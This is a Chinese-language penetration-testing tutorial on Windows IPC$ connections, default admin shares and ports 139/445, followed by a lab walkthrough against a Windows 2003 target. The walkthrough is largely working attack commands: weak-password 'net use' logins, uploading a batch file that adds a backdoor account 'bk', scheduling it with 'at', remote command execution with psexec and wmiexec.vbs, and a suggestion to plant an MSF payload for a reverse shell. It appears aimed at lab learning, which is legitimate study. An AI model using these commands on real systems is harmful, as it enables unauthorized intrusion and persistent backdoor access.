0x01 ipc$的定義
IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的),它是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的權限,在遠程管理計算機和查看計算機的共享資源時使用。利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
0x02 ipc$與空連接,139,445端口,默認共享的關系
ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.
許多人可能要問了,既然可以空連接,那我以后就空連接好了,為什么還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何權限(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的權限(有權限誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
ipc$與139,445端口:
ipc$連接可以實現遠程登陸及對默認共享的訪問;而139端口的開啟表示netbios協議的應用,我們可以通過139,445(win2000)端口實現對共享文件/打印機的訪問,因此一般來講,ipc$連接是需要139或445端口來支持的.
ipc$與默認共享
默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)
0x03 ipc$入侵實戰
1.實驗環境:
.攻擊機:win7x64 IP:192.168.1.101
靶機: win2003 ip:192.168.1.108
2.通過掃描器掃描IPC$弱口令連接:
這里推薦大家用ntscan或者溯雪和x-scan,porscan等掃描器
3.通過net use 建立一個非空連接:
連接域backlion的ipc$:
net use \\192.168.1.108\c$ “12345@12345qw” /user:backlion\administrator net use \\192.168.1.108\c$ 123456 /user:administrator //建立的非空連接 或者 net use \\192.168.1.108\c$ " 123456" /user:administrator //建立的非空連接 net use \\192.168.1.108\c$ "" /user:administrator //空連接,無密碼
4.這里准備上傳一個建立bk賬號的批處理:
d:\user.bat 文件內容為:net user bk bk123 /add
注:這里也可以上傳MSF下生成的exe,上傳到靶機上執行,然后反彈出shell,更能很好地操作。
5.通過copy命令上傳本地攻擊機的批處理文件到目標靶機的c$上,也就是靶機的c:\
copy user.bat \\192.168.1.108\c$
注意:文件下載
copy \\192.168.1.108\c$\user.bat user.bat
6.查看目標靶機的時間:
net time \\192.168.1.108
7.通過at命令在特定時間執行批處理文件:
at \\192.168.1.108 12:13:00 c:\user.bat
6.在目標靶機上發現賬號已成功添加執行:
8.其他命令:
將目標共享建立一個映射Z盤:
net use z: \\192.168.1.108\c$
查看已建立的會話:
net use
刪除會話連接:
9.通過psexec工具進行會話連接執行
psexec.exe \\192.168.1.108 cmd //前提是需要建立一個空連接或者非空連接
psexec.exe \\192.168.1.108 cmd -u administrator -p 123456 //不需要建立空連接
然后就可以在目標靶機上任意執行命令:
10.通過wmiexec.vbs進行遠程會話執行:
csript.exe wmiexec.vbs /shell 192.168.1.108 administrator 123456
然后執行一些系統命令:
0x04 ipc$連接失敗的原因
以下5個原因是比較常見的:
1)你的系統不是NT或以上操作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啟139或445端口(惑被防火牆屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
另外,你也可以根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員權限的,先提升權限;
錯誤號51,Windows 無法找到網絡路徑 : 網絡有問題;
錯誤號53,找不到網絡路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(端口過濾);
錯誤號67,找不到網絡名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集沖突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;
錯誤號1792,試圖登錄,但是網絡登錄服務沒有啟動 : 目標NetLogon服務未啟動。(連接域控會出現此情況)
錯誤號2242,此用戶的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。
關於ipc$連不上的問題比較復雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗